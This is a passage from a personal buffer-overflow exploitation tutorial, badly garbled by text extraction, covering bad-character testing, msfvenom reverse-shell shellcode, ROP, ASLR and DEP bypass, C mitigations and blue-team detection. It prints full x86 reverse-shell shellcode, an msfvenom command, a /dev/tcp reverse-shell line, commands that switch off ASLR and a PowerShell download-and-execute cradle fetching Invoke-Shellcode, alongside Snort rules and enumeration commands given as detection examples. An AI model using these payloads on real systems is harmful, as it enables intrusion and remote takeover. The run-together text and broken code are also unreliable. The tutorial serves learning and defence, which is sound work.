bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
